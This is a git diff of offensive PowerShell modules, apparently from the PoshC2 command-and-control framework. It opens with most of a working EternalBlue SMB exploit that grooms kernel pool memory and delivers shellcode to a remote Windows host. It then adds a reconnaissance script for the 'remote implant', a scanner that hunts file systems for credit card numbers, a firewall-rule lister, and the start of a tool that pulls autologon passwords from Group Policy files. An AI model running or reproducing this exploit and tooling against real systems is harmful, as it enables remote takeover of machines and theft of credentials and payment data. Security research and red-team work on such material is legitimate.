flags=$smbheader[8];
|
||||
flags2=$smbheader[9..10];
|
||||
process_id_high=$smbheader[11..12];
|
||||
signature=$smbheader[13..21];
|
||||
reserved2=$smbheader[22..23];
|
||||
tree_id=$smbheader[24..25];
|
||||
process_id=$smbheader[26..27];
|
||||
user_id=$smbheader[28..29];
|
||||
multiplex_id=$smbheader[30..31];
|
||||
}
|
||||
return $parsed_header
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
function smb1_get_response($sock){
|
||||
|
||||
|
||||
|
||||
$tcp_response = [Array]::CreateInstance("byte", 1024)
|
||||
try{
|
||||
$sock.Receive($tcp_response)| out-null
|
||||
|
||||
}
|
||||
catch {
|
||||
Write-Output "socket error, exploit may fail "
|
||||
}
|
||||
$netbios = $tcp_response[0..4]
|
||||
$smb_header = $tcp_response[4..36] # SMB Header: 32 bytes
|
||||
$parsed_header = smb_header($smb_header)
|
||||
|
||||
return $tcp_response, $parsed_header
|
||||
|
||||
}
|
||||
|
||||
|
||||
function client_negotiate($sock){
|
||||
$raw_proto = negotiate_proto_request
|
||||
$sock.Send($raw_proto) | out-null
|
||||
return smb1_get_response($sock)
|
||||
|
||||
}
|
||||
|
||||
function smb1_anonymous_login($sock){
|
||||
$raw_proto = make_smb1_anonymous_login_packet
|
||||
$sock.Send($raw_proto) | out-null
|
||||
return smb1_get_response($sock)
|
||||
|
||||
|
||||
}
|
||||
|
||||
function tree_connect_andx($sock, $Target, $userid){
|
||||
$raw_proto = tree_connect_andx_request $Target $userid
|
||||
$sock.Send($raw_proto) | out-null
|
||||
return smb1_get_response($sock)
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
function smb1_anonymous_connect_ipc($Target)
|
||||
{
|
||||
$client = New-Object System.Net.Sockets.TcpClient($Target,445)
|
||||
|
||||
$sock = $client.Client
|
||||
client_negotiate($sock) | Out-Null
|
||||
|
||||
$raw, $smbheader = smb1_anonymous_login $sock
|
||||
|
||||
$raw, $smbheader = tree_connect_andx $sock $Target $smbheader.user_id
|
||||
|
||||
|
||||
return $smbheader, $sock
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
function smb1_large_buffer($smbheader,$sock){
|
||||
|
||||
$nt_trans_pkt = make_smb1_nt_trans_packet $smbheader.tree_id $smbheader.user_id
|
||||
|
||||
# send NT Trans
|
||||
|
||||
$sock.Send($nt_trans_pkt) | out-null
|
||||
|
||||
$raw, $transheader = smb1_get_response($sock)
|
||||
|
||||
#initial trans2 request
|
||||
$trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_zero" 0
|
||||
|
||||
#send all but the last packet
|
||||
for($i =1; $i -le 14; $i++) {
|
||||
$trans2_pkt_nulled += make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_buffer" $i
|
||||
|
||||
}
|
||||
|
||||
$trans2_pkt_nulled += make_smb1_echo_packet $smbheader.tree_id $smbheader.user_id
|
||||
$sock.Send($trans2_pkt_nulled) | out-null
|
||||
|
||||
smb1_get_response($sock) | Out-Null
|
||||
|
||||
}
|
||||
|
||||
|
||||
function smb1_free_hole($start) {
|
||||
$client = New-Object System.Net.Sockets.TcpClient($Target,445)
|
||||
|
||||
$sock = $client.Client
|
||||
client_negotiate($sock) | Out-Null
|
||||
if($start) {
|
||||
$pkt = make_smb1_free_hole_session_packet (0x07,0xc0) (0x2d,0x01) (0xf0,0xff,0x00,0x00,0x00)
|
||||
}
|
||||
else {
|
||||
$pkt = make_smb1_free_hole_session_packet (0x07,0x40) (0x2c,0x01) (0xf8,0x87,0x00,0x00,0x00)
|
||||
}
|
||||
|
||||
$sock.Send($pkt) | out-null
|
||||
smb1_get_response($sock) | Out-Null
|
||||
return $sock
|
||||
}
|
||||
|
||||
function smb2_grooms($Target, $grooms, $payload_hdr_pkt, $groom_socks){
|
||||
|
||||
|
||||
for($i =0; $i -lt $grooms; $i++)
|
||||
{
|
||||
$client = New-Object System.Net.Sockets.TcpClient($Target,445)
|
||||
|
||||
$gsock = $client.Client
|
||||
$groom_socks += $gsock
|
||||
$gsock.Send($payload_hdr_pkt) | out-null
|
||||
|
||||
}
|
||||
return $groom_socks
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
function smb_eternalblue($Target, $grooms, $Shellcode) {
|
||||
|
||||
|
||||
#replace null bytes with your shellcode
|
||||
[Byte[]] $payload = [Byte[]]($Shellcode)
|
||||
|
||||
$shellcode = make_kernel_user_payload($payload)
|
||||
$payload_hdr_pkt = make_smb2_payload_headers_packet
|
||||
$payload_body_pkt = make_smb2_payload_body_packet($shellcode)
|
||||
|
||||
Write-Output "Connecting to target for activities"
|
||||
$smbheader, $sock = smb1_anonymous_connect_ipc($Target)
|
||||
$sock.ReceiveTimeout =2000
|
||||
Write-Output "Connection established for exploitation."
|
||||
# Step 2: Create a large SMB1 buffer
|
||||
Write-Output "all but last fragment of exploit packet"
|
||||
smb1_large_buffer $smbheader $sock
|
||||
# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
|
||||
|
||||
# initialize_groom_threads(ip, port, payload, grooms)
|
||||
$fhs_sock = smb1_free_hole $true
|
||||
$groom_socks =@()
|
||||
$groom_socks = smb2_grooms $Target $grooms $payload_hdr_pkt $groom_socks
|
||||
|
||||
$fhf_sock = smb1_free_hole $false
|
||||
|
||||
$fhs_sock.Close() | Out-Null
|
||||
|
||||
$groom_socks = smb2_grooms $Target 6 $payload_hdr_pkt $groom_socks
|
||||
|
||||
$fhf_sock.Close() | out-null
|
||||
|
||||
Write-Output "Running final exploit packet"
|
||||
|
||||
$final_exploit_pkt = $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_exploit" 15
|
||||
|
||||
try{
|
||||
$sock.Send($final_exploit_pkt) | Out-Null
|
||||
$raw, $exploit_smb_header = smb1_get_response $sock
|
||||
Write-Output ("SMB code: " + [System.BitConverter]::ToString($exploit_smb_header.error_code))
|
||||
|
||||
}
|
||||
catch {
|
||||
Write-Output "socket error, exploit may fail horribly"
|
||||
}
|
||||
|
||||
|
||||
Write-Output "Send the payload with the grooms"
|
||||
|
||||
foreach ($gsock in $groom_socks)
|
||||
{
|
||||
$gsock.Send($payload_body_pkt[0..2919]) | out-null
|
||||
}
|
||||
foreach ($gsock in $groom_socks)
|
||||
{
|
||||
$gsock.Send($payload_body_pkt[2920..4072]) | out-null
|
||||
}
|
||||
foreach ($gsock in $groom_socks)
|
||||
{
|
||||
$gsock.Close() | out-null
|
||||
}
|
||||
|
||||
$sock.Close()| out-null
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
$VerbosePreference = "continue"
|
||||
for ($i=0; $i -lt $MaxAttempts; $i++) {
|
||||
$grooms = $InitialGrooms + $GROOM_DELTA*$i
|
||||
smb_eternalblue $Target $grooms $Shellcode
|
||||
}
|
||||
|
||||
|
||||
}
|
|
@ -0,0 +1,405 @@
|
|||
Function Get-ComputerInfo
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
This function will collect various data elements from a local or remote computer.
|
||||
.DESCRIPTION
|
||||
This function was inspired by Get-ServerInfo a custom function written by Jason Walker
|
||||
and the PSInfo Sysinternals Tool written by Mark Russinovich. It will collect a plethora
|
||||
of data elements that are important to a Microsoft Windows System Administrator. The
|
||||
function will run locally, run without the -ComputerName Parameter, or connect remotely
|
||||
via the -ComputerName Parameter. This function will return objects that you can interact
|
||||
with, however, due to the fact that multiple custom objects are returned, when piping the
|
||||
function to Get-Member, it will only display the first object, unless you run the following;
|
||||
"Get-ComputerInfo | Foreach-Object {$_ | Get-Member}". This function is currently in beta.
|
||||
Also remember that you have to dot source the ".ps1" file in order to load it into your
|
||||
current PowerShell console: ". .\Get-ComputerInfo.ps1" Then it can be run as a "cmdlet"
|
||||
aka "function". Reminder: In it's current state, this function's output is intended for
|
||||
the console, in other words the data does not export very well, unless the Foreach-Object
|
||||
technique is used above. This is something that may come in a future release or a simplied
|
||||
version.
|
||||
.PARAMETER ComputerName
|
||||
A single Computer or an array of computer names. The default is localhost ($env:COMPUTERNAME).
|
||||
.EXAMPLE
|
||||
PS D:\> Get-ComputerInfo -ComputerName WIN-7-01
|
||||
|
||||
Computer : WIN-7-01
|
||||
Domain : INQU1S1T0R.LOCAL
|
||||
OperatingSystem : Microsoft Windows 7 Professional
|
||||
OSArchitecture : 32-bit
|
||||
BuildNumber : 7601
|
||||
ServicePack : 1
|
||||
Manufacturer : VMware, Inc.
|
||||
Model : VMware Virtual Platform
|
||||
SerialNumber : VMware-56 4d 0e 63 66 87 22 81-48 df af 02 e5 08 7f 7d
|
||||
Processor : Intel(R) Core(TM) i7-6500U CPU @ 2.50GHz
|
||||
LogicalProcessors : 2
|
||||
PhysicalMemory : 1024
|
||||
OSReportedMemory : 1023
|
||||
PAEEnabled : True
|
||||
InstallDate : 14/11/2015 21:38:36
|
||||
LastBootUpTime : 14/11/2016 22:08:04
|
||||
UpTime : 2.18:20:55.8121611
|
||||
RebootPending : True
|
||||
RebootPendingKey : False
|
||||
CBSRebootPending : True
|
||||
WinUpdRebootPending : True
|
||||
LogonServer : \\INQU1S1T0R-DC
|
||||
|
||||
Network Adaptors
|
||||
|
||||
NICName : Intel(R) PRO/1000 MT Network Connection
|
||||
NICManufacturer : Intel
|
||||
DHCPEnabled : True
|
||||
MACAddress : 00:0C:29:08:7F:7D
|
||||
IPAddress : {192.168.0.119, fe80::31e1:f129:1265:9ec2}
|
||||
IPSubnetMask : {255.255.255.0, 64}
|
||||
DefaultGateway : {192.168.0.1}
|
||||
DNSServerOrder : {192.168.0.2, 8.8.8.8, 8.8.4.4}
|
||||
DNSSuffixSearch : {inqu1s1t0r.local}
|
||||
PhysicalAdapter : True
|
||||
Speed : 1000 Mbit
|
||||
|
||||
Disk Information
|
||||
|
||||
DeviceID : C:
|
||||
VolumeName :
|
||||
VolumeDirty :
|
||||
Size : 59.90 GB
|
||||
FreeSpace : 45.23 GB
|
||||
PercentFree : 75.51 %
|
||||
|
||||
Hotfix(s) Installed: 198
|
||||
|
||||
Description : Update
|
||||
HotfixID : KB2849697
|
||||
InstalledOn :
|
||||
|
||||
Description : Update
|
||||
HotfixID : KB2849696
|
||||
InstalledOn :
|
||||
|
||||
Description : Update
|
||||
HotfixID : KB2841134
|
||||
InstalledOn :
|
||||
|
||||
Description : Update
|
||||
HotfixID : KB2670838
|
||||
InstalledOn :
|
||||
|
||||
Description : Security Update
|
||||
HotfixID : KB2425227
|
||||
InstalledOn :
|
||||
.LINK
|
||||
Registry Class
|
||||
http://msdn.microsoft.com/en-us/library/microsoft.win32.registry.aspx
|
||||
|
||||
Win32_BIOS
|
||||
http://msdn.microsoft.com/en-us/library/windows/desktop/aa394077(v=vs.85).aspx
|
||||
|
||||
Win32_ComputerSystem
|
||||
http://msdn.microsoft.com/en-us/library/windows/desktop/aa394102(v=vs.85).aspx
|
||||
|
||||
Win32_OperatingSystem
|
||||
http://msdn.microsoft.com/en-us/library/windows/desktop/aa394239(v=vs.85).aspx
|
||||
|
||||
Win32_NetworkAdapter
|
||||
http://msdn.microsoft.com/en-us/library/windows/desktop/aa394216(v=vs.85).aspx
|
||||
|
||||
Win32_NetworkAdapterConfiguration
|
||||
http://msdn.microsoft.com/en-us/library/windows/desktop/aa394217(v=vs.85).aspx
|
||||
|
||||
Win32_Processor
|
||||
http://msdn.microsoft.com/en-us/library/windows/desktop/aa394373(v=vs.85).aspx
|
||||
|
||||
Win32_PhysicalMemory
|
||||
http://msdn.microsoft.com/en-us/library/windows/desktop/aa394347(v=vs.85).aspx
|
||||
|
||||
Win32_LogicalDisk
|
||||
http://msdn.microsoft.com/en-us/library/windows/desktop/aa394173(v=vs.85).aspx
|
||||
|
||||
Component-Based Servicing
|
||||
http://technet.microsoft.com/en-us/library/cc756291(v=WS.10).aspx
|
||||
|
||||
PendingFileRename/Auto Update:
|
||||
http://support.microsoft.com/kb/2723674
|
||||
http://technet.microsoft.com/en-us/library/cc960241.aspx
|
||||
http://blogs.msdn.com/b/hansr/archive/2006/02/17/patchreboot.aspx
|
||||
|
||||
SCCM 2012/CCM_ClientSDK:
|
||||
http://msdn.microsoft.com/en-us/library/jj902723.aspx
|
||||
.NOTES
|
||||
Author: Brian C. Wilhite
|
||||
Email: bwilhite1@carolina.rr.com
|
||||
Date: 03/31/2012
|
||||
RevDate: 11/17/2016
|
||||
PoShVer: 2.0/
|
||||
ScriptVer: 0.87 (Beta)
|
||||
0.87 - Some modifications to the script added by Dave Hardy, the script ouputs installed hotfixes, the system logon server and fixed an issue where the OS is Windows 10 not displaying the OS Architecture correctly also removed the write-progress elements to allow the script to run in the remote implant of PoshC2
|
||||
0.86 - Code clean-up, now a bit easier to read
|
||||
Added several PendingReboot properites
|
||||
RebootPendingKey - Shows contents of files pending rename
|
||||
CBSRebootPending - Component-Based Servicing, see link above
|
||||
WinUpdRebootPending - Pending Reboot due to Windows Update
|
||||
Added PAEEnabled Property
|
||||
0.85 - Now reports LogicalProcessors & Domain (2K3/2K8)
|
||||
Better PendingReboot support for Windows 2008+
|
||||
Minor Write-Progress Changes
|
||||
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Position = 0,ValueFromPipeline = $true)]
|
||||
[Alias('CN','Computer')]
|
||||
[String[]]$ComputerName = "$env:COMPUTERNAME"
|
||||
)
|
||||
|
||||
Begin
|
||||
{
|
||||
$i = 0
|
||||
#Adjusting ErrorActionPreference to stop on all errors
|
||||
$TempErrAct = $ErrorActionPreference
|
||||
$ErrorActionPreference = 'Stop'
|
||||
|
||||
#Defining $CompInfo Select Properties For Correct Display Order
|
||||
$CompInfoSelProp = @(
|
||||
'Computer'
|
||||
'Domain'
|
||||
'OperatingSystem'
|
||||
'OSArchitecture'
|
||||
'BuildNumber'
|
||||
'ServicePack'
|
||||
'Manufacturer'
|
||||
'Model'
|
||||
'SerialNumber'
|
||||
'Processor'
|
||||
'LogicalProcessors'
|
||||
'PhysicalMemory'
|
||||
'OSReportedMemory'
|
||||
'PAEEnabled'
|
||||
'InstallDate'
|
||||
'LastBootUpTime'
|
||||
'UpTime'
|
||||
'RebootPending'
|
||||
'RebootPendingKey'
|
||||
'CBSRebootPending'
|
||||
'WinUpdRebootPending'
|
||||
'LogonServer'
|
||||
'PageFile'
|
||||
)#End $CompInfoSelProp
|
||||
|
||||
#Defining $NetInfo Select Properties For Correct Display Order
|
||||
$NetInfoSelProp = @(
|
||||
'NICName'
|
||||
'NICManufacturer'
|
||||
'DHCPEnabled'
|
||||
'MACAddress'
|
||||
'IPAddress'
|
||||
'IPSubnetMask'
|
||||
'DefaultGateway'
|
||||
'DNSServerOrder'
|
||||
'DNSSuffixSearch'
|
||||
'PhysicalAdapter'
|
||||
'Speed'
|
||||
)#End $NetInfoSelProp
|
||||
|
||||
#Defining $VolInfo Select Properties For Correct Display Order
|
||||
$VolInfoSelProp = @(
|
||||
'DeviceID'
|
||||
'VolumeName'
|
||||
'VolumeDirty'
|
||||
'Size'
|
||||
'FreeSpace'
|
||||
'PercentFree'
|
||||
)#End $VolInfoSelProp
|
||||
}#End Begin Script Block
|
||||
|
||||
Process
|
||||
{
|
||||
Foreach ($Computer in $ComputerName)
|
||||
{
|
||||
Try
|
||||
{
|
||||
If ($ComputerName.Count -gt 1)
|
||||
{
|
||||
#Setting up Main Write-Progress Process, If Querying More Than 1 Computer.
|
||||
$WriteProgParams = @{
|
||||
Id = 1
|
||||
Activity = "Processing Get-ComputerInfo For $Computer"
|
||||
Status = "Percent Complete: $([int]($i/($ComputerName.Count)*100))%"
|
||||
PercentComplete = [int]($i++/($ComputerName.Count)*100)
|
||||
}#End $WriteProgParam Hashtable
|
||||
Write-Progress @WriteProgParams
|
||||
}#End If ($ComputerName.Count -gt 1)
|
||||
|
||||
#Gathering WMI Data
|
||||
|
||||
$WMI_PROC = Get-WmiObject -Class Win32_Processor -ComputerName $Computer
|
||||
$WMI_BIOS = Get-WmiObject -Class Win32_BIOS -ComputerName $Computer
|
||||
$WMI_CS = Get-WmiObject -Class Win32_ComputerSystem -ComputerName $Computer
|
||||
$WMI_OS = Get-WmiObject -Class Win32_OperatingSystem -ComputerName $Computer
|
||||
$WMI_PM = Get-WmiObject -Class Win32_PhysicalMemory -ComputerName $Computer
|
||||
$WMI_LD = Get-WmiObject -Class Win32_LogicalDisk -Filter "DriveType = '3'" -ComputerName $Computer
|
||||
$WMI_NA = Get-WmiObject -Class Win32_NetworkAdapter -ComputerName $Computer
|
||||
$WMI_NAC = Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "IPEnabled=$true" -ComputerName $Computer
|
||||
$WMI_HOTFIX = Get-WmiObject -Class Win32_quickfixengineering -ComputerName $ComputerName
|
||||
$WMI_NETLOGIN = Get-WmiObject -Class win32_networkloginprofile -ComputerName $Computer
|
||||
$WMI_PAGEFILE = Get-WmiObject -Class Win32_PageFileUsage
|
||||
|
||||
#Connecting to the Registry to determine PendingReboot status.
|
||||
$RegCon = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]'LocalMachine',$Computer)
|
||||
#If Windows Vista & Above, CBS Will Not Write To The PFRO Reg Key, Query CBS Key For "RebootPending" Key.
|
||||
#Also, since there are properties that are exclusive to 2K8+ marking "Unaval" for computers below 2K8.
|
||||
$WinBuild = $WMI_OS.BuildNumber
|
||||
$CBSRebootPend, $RebootPending = $false, $false
|
||||
If ([INT]$WinBuild -ge 6001)
|
||||
{
|
||||
#Querying the Component Based Servicing reg key for pending reboot status.
|
||||
$RegSubKeysCBS = $RegCon.OpenSubKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\').GetSubKeyNames()
|
||||
$CBSRebootPend = $RegSubKeysCBS -contains 'RebootPending'
|
||||
|
||||
#Values that are present in 2K8+
|
||||
$OSArchitecture = $WMI_OS.OSArchitecture
|
||||
$LogicalProcs = $WMI_CS.NumberOfLogicalProcessors
|
||||
}#End If ($WinBuild -ge 6001)
|
||||
Else
|
||||
{
|
||||
#Win32_OperatingSystem does not have a value for OSArch in 2K3 & Below
|
||||
$OSArchitecture = '**Unavailable**'
|
||||
|
||||
#In order to gather processor count for 2K3 & Below, Win32_Processor Instance Count is needed.
|
||||
If ($WMI_PROC.Count -gt 1)
|
||||
{
|
||||
$LogicalProcs = $WMI_PROC.Count
|
||||
}#End If ($WMI_PROC.Count -gt 1)
|
||||
Else
|
||||
{
|
||||
$LogicalProcs = 1
|
||||
}#End Else
|
||||
}#End Else
|
||||
|
||||
#Querying Session Manager for both 2K3 & 2K8 for the PendingFileRenameOperations REG_MULTI_SZ to set PendingReboot value.
|
||||
$RegSubKeySM = $RegCon.OpenSubKey('SYSTEM\CurrentControlSet\Control\Session Manager\')
|
||||
$RegValuePFRO = $RegSubKeySM.GetValue('PendingFileRenameOperations',$false)
|
||||
|
||||
#Querying WindowsUpdate\Auto Update for both 2K3 & 2K8 for "RebootRequired"
|
||||
$RegWindowsUpdate = $RegCon.OpenSubKey('SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\').GetSubKeyNames()
|
||||
$WUAURebootReq = $RegWindowsUpdate -contains 'RebootRequired'
|
||||
$RegCon.Close()
|
||||
|
||||
#Setting the $RebootPending var based on data read from the PendingFileRenameOperations REG_MULTI_SZ and CBS Key.
|
||||
If ($CBSRebootPend -or $RegValuePFRO -or $WUAURebootReq)
|
||||
{
|
||||
$RebootPending = $true
|
||||
}#End If ($RegValuePFRO -eq "NoValue")
|
||||
|
||||
#Calculating Memory, Converting InstallDate, LastBootTime, Uptime.
|
||||
[int]$Memory = ($WMI_PM | Measure-Object -Property Capacity -Sum).Sum / 1MB
|
||||
$InstallDate = ([WMI]'').ConvertToDateTime($WMI_OS.InstallDate)
|
||||
$LastBootTime = ([WMI]'').ConvertToDateTime($WMI_OS.LastBootUpTime)
|
||||
$UpTime = New-TimeSpan -Start $LastBootTime -End (Get-Date)
|
||||
|
||||
#PAEEnabled is only valid on x86 systems, setting value to false first.
|
||||
$PAEEnabled = $false
|
||||
If ($WMI_OS.PAEEnabled)
|
||||
{
|
||||
$PAEEnabled = $true
|
||||
}
|
||||
|
||||
#Creating the $CompInfo Object
|
||||
New-Object PSObject -Property @{
|
||||
Computer = $WMI_CS.Name
|
||||
Domain = $WMI_CS.Domain.ToUpper()
|
||||
OperatingSystem = $WMI_OS.Caption
|
||||
OSArchitecture = $OSArchitecture
|
||||
BuildNumber = $WinBuild
|
||||
ServicePack = $WMI_OS.ServicePackMajorVersion
|
||||
Manufacturer = $WMI_CS.Manufacturer
|
||||
Model = $WMI_CS.Model
|
||||
SerialNumber = $WMI_BIOS.SerialNumber
|
||||
Processor = ($WMI_PROC | Select-Object -ExpandProperty Name -First 1)
|
||||
LogicalProcessors = $LogicalProcs
|
||||
PhysicalMemory = $Memory
|
||||
OSReportedMemory = [int]$($WMI_CS.TotalPhysicalMemory / 1MB)
|
||||
PAEEnabled = $PAEEnabled
|
||||
InstallDate = $InstallDate
|
||||
LastBootUpTime = $LastBootTime
|
||||
UpTime = $UpTime
|
||||
RebootPending = $RebootPending
|
||||
RebootPendingKey = $RegValuePFRO
|
||||
CBSRebootPending = $CBSRebootPend
|
||||
WinUpdRebootPending = $WUAURebootReq
|
||||
LogonServer = $ENV:LOGONSERVER
|
||||
PageFile = $WMI_PAGEFILE.Caption
|
||||
} | Select-Object $CompInfoSelProp
|
||||
|
||||
#There may be multiple NICs that have IPAddresses, hence the Foreach loop.
|
||||
Write-Output 'Network Adaptors'`n
|
||||
Foreach ($NAC in $WMI_NAC)
|
||||
{
|
||||
#Getting properties from $WMI_NA that correlate to the matched Index, this is faster than using $WMI_NAC.GetRelated('Win32_NetworkAdapter').
|
||||
$NetAdap = $WMI_NA | Where-Object {
|
||||
$NAC.Index -eq $_.Index
|
||||
}
|
||||
|
||||
#Since there are properties that are exclusive to 2K8+ marking "Unaval" for computers below 2K8.
|
||||
If ($WinBuild -ge 6001)
|
||||
{
|
||||
$PhysAdap = $NetAdap.PhysicalAdapter
|
||||
$Speed = '{0:0} Mbit' -f $($NetAdap.Speed / 1000000)
|
||||
}#End If ($WinBuild -ge 6000)
|
||||
Else
|
||||
{
|
||||
$PhysAdap = '**Unavailable**'
|
||||
$Speed = '**Unavailable**'
|
||||
}#End Else
|
||||
|
||||
#Creating the $NetInfo Object
|
||||
New-Object PSObject -Property @{
|
||||
NICName = $NetAdap.Name
|
||||
NICManufacturer = $NetAdap.Manufacturer
|
||||
DHCPEnabled = $NAC.DHCPEnabled
|
||||
MACAddress = $NAC.MACAddress
|
||||
IPAddress = $NAC.IPAddress
|
||||
IPSubnetMask = $NAC.IPSubnet
|
||||
DefaultGateway = $NAC.DefaultIPGateway
|
||||
DNSServerOrder = $NAC.DNSServerSearchOrder
|
||||
DNSSuffixSearch = $NAC.DNSDomainSuffixSearchOrder
|
||||
PhysicalAdapter = $PhysAdap
|
||||
Speed = $Speed
|
||||
} | Select-Object $NetInfoSelProp
|
||||
}#End Foreach ($NAC in $WMI_NAC)
|
||||
|
||||
#There may be multiple Volumes, hence the Foreach loop.
|
||||
Write-Output 'Disk Information'`n
|
||||
Foreach ($Volume in $WMI_LD)
|
||||
{
|
||||
#Creating the $VolInfo Object
|
||||
New-Object PSObject -Property @{
|
||||
DeviceID = $Volume.DeviceID
|
||||
VolumeName = $Volume.VolumeName
|
||||
VolumeDirty = $Volume.VolumeDirty
|
||||
Size = $('{0:F} GB' -f $($Volume.Size / 1GB))
|
||||
FreeSpace = $('{0:F} GB' -f $($Volume.FreeSpace / 1GB))
|
||||
PercentFree = $('{0:P}' -f $($Volume.FreeSpace / $Volume.Size))
|
||||
} | Select-Object $VolInfoSelProp
|
||||
}#End Foreach ($Volume in $WMI_LD)
|
||||
Write-Output 'Hotfix(s) Installed: '$WMI_HOTFIX.Count`n
|
||||
$WMI_HOTFIX|Select-Object -Property Description, HotfixID, InstalledOn
|
||||
}#End Try
|
||||
|
||||
Catch
|
||||
{
|
||||
Write-Warning "$_"
|
||||
}#End Catch
|
||||
}#End Foreach ($Computer in $ComputerName)
|
||||
|
||||
}#End Process
|
||||
|
||||
End
|
||||
{
|
||||
#Resetting ErrorActionPref
|
||||
$ErrorActionPreference = $TempErrAct
|
||||
}#End End
|
||||
}#End Function Get-ComputerInfo
|
|
@ -0,0 +1,48 @@
|
|||
<#
|
||||
.Synopsis
|
||||
Searches recursively through the provided path searching for valid credit card numbers
|
||||
.DESCRIPTION
|
||||
Large files are read in chunks so as to not exhaust system resources
|
||||
.EXAMPLE
|
||||
PS C:\> Get-CreditCardData -Path C:\Backup\
|
||||
#>
|
||||
|
||||
Function Get-CreditCardData {
|
||||
|
||||
param (
|
||||
[string]$path = $(throw "-path is required";)
|
||||
)
|
||||
|
||||
$Excel = New-Object -ComObject Excel.Application
|
||||
|
||||
$REGEX = [regex]"(?im)(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11})"
|
||||
$REGEX2 = [regex]"^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11})$"
|
||||
$REGEX3 = [regex]"[456][0-9]{15}","[456][0-9]{3}[-| ][0-9]{4} [-| ][0-9]{4}[-| ][0-9]{4}"
|
||||
|
||||
Get-ChildItem -Rec -Exclude *.exe,*.dll $path -File | % {
|
||||
|
||||
#if (($_.FullName -like "*xls") -or ($_.FullName -like "*.xlsx")){
|
||||
#$Workbook = $Excel.Workbooks.Open($_.FullName)
|
||||
#If(($Workbook.Sheets.Item(1).Range("A:Z")) | Select-String -pattern $REGEX){
|
||||
# $Workbook.Close($false)
|
||||
# Write-Output "[+] Potential Card data found:" $_.FullName -ForegroundColor green
|
||||
#}
|
||||
#}
|
||||
|
||||
if ((Select-String -pattern $REGEX -Path $_.FullName -AllMatches).Matches.Count -gt 5 ) {
|
||||
Write-Output "[+] Potential Card data found:" $_.FullName -ForegroundColor green
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Sample credit card data for testing
|
||||
#3782 8224 6310 0054
|
||||
#371449635398431
|
||||
#371449635398432
|
||||
#371449635398434
|
||||
#371449635398432
|
||||
#371449635398430
|
||||
#371449635398432
|
|
@ -0,0 +1,53 @@
|
|||
<#
|
||||
.Synopsis
|
||||
Returns all firewall rules
|
||||
.DESCRIPTION
|
||||
Returns all firewall rules
|
||||
.EXAMPLE
|
||||
PS C:\> Get-FirewallRule -Enabled $true | sort direction,applicationName,name
|
||||
.EXAMPLE
|
||||
PS C:\> Get-firewallRule -enabled $true | sort direction,applicationName,name | format-table -wrap -autosize -property Name, @{Label="Action"; expression={$Fwaction[$_.action]}},@{label="Direction";expression={ $fwdirection[$_.direction]}},@{Label="Protocol"; expression={$FwProtocols[$_.protocol]}}, localPorts,applicationname
|
||||
#>
|
||||
Function Get-FireWallRule
|
||||
{
|
||||
Param (
|
||||
$Name,
|
||||
$Direction,
|
||||
$Enabled,
|
||||
$Protocol,
|
||||
$profile,
|
||||
$action,
|
||||
$grouping
|
||||
)
|
||||
|
||||
$Rules = (New-object -comObject HNetCfg.FwPolicy2).rules
|
||||
If ($name) { $rules= $rules | where-object {$_.name -like $name}}
|
||||
If ($direction) {$rules= $rules | where-object {$_.direction -eq $direction}}
|
||||
If ($Enabled) {$rules= $rules | where-object {$_.Enabled -eq $Enabled}}
|
||||
If ($protocol) {$rules= $rules | where-object {$_.protocol -eq $protocol}}
|
||||
If ($profile) {$rules= $rules | where-object {$_.Profiles -bAND $profile}}
|
||||
If ($Action) {$rules= $rules | where-object {$_.Action -eq $Action}}
|
||||
If ($Grouping) {$rules= $rules | where-object {$_.Grouping -Like $Grouping}}
|
||||
|
||||
$rules
|
||||
|
||||
}
|
||||
|
||||
|
||||
Function Get-FireWallRulesAll
|
||||
{
|
||||
|
||||
Netsh.exe Advfirewall show allprofiles
|
||||
|
||||
$spaces1 = " " * 71
|
||||
$spaces2 = " " * 64
|
||||
Get-FireWallRule -Enabled $true | sort name | `
|
||||
format-table -property `
|
||||
@{label="Name" + $spaces1 ; expression={$_.name} ; width=75}, `
|
||||
@{label="Action" ; expression={$Fwaction[$_.action]} ; width=6 }, `
|
||||
@{label="Direction" ; expression={$fwdirection[$_.direction]} ; width=9 }, `
|
||||
@{label="Protocol" ; expression={$FwProtocols[$_.protocol]} ; width=8 }, `
|
||||
@{label="Local Ports" ; expression={$_.localPorts} ; width=11}, `
|
||||
@{label="Application Name" + $spaces2 ; expression={$_.applicationname} ; width=80}
|
||||
|
||||
}
|
|
@ -0,0 +1,140 @@
|
|||
function Get-GPPAutologon
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences.
|
||||
|
||||
PowerSploit Function: Get-GPPAutologon
|
||||
Author: Oddvar Moe (@oddvarmoe)
|
||||
Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work!
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
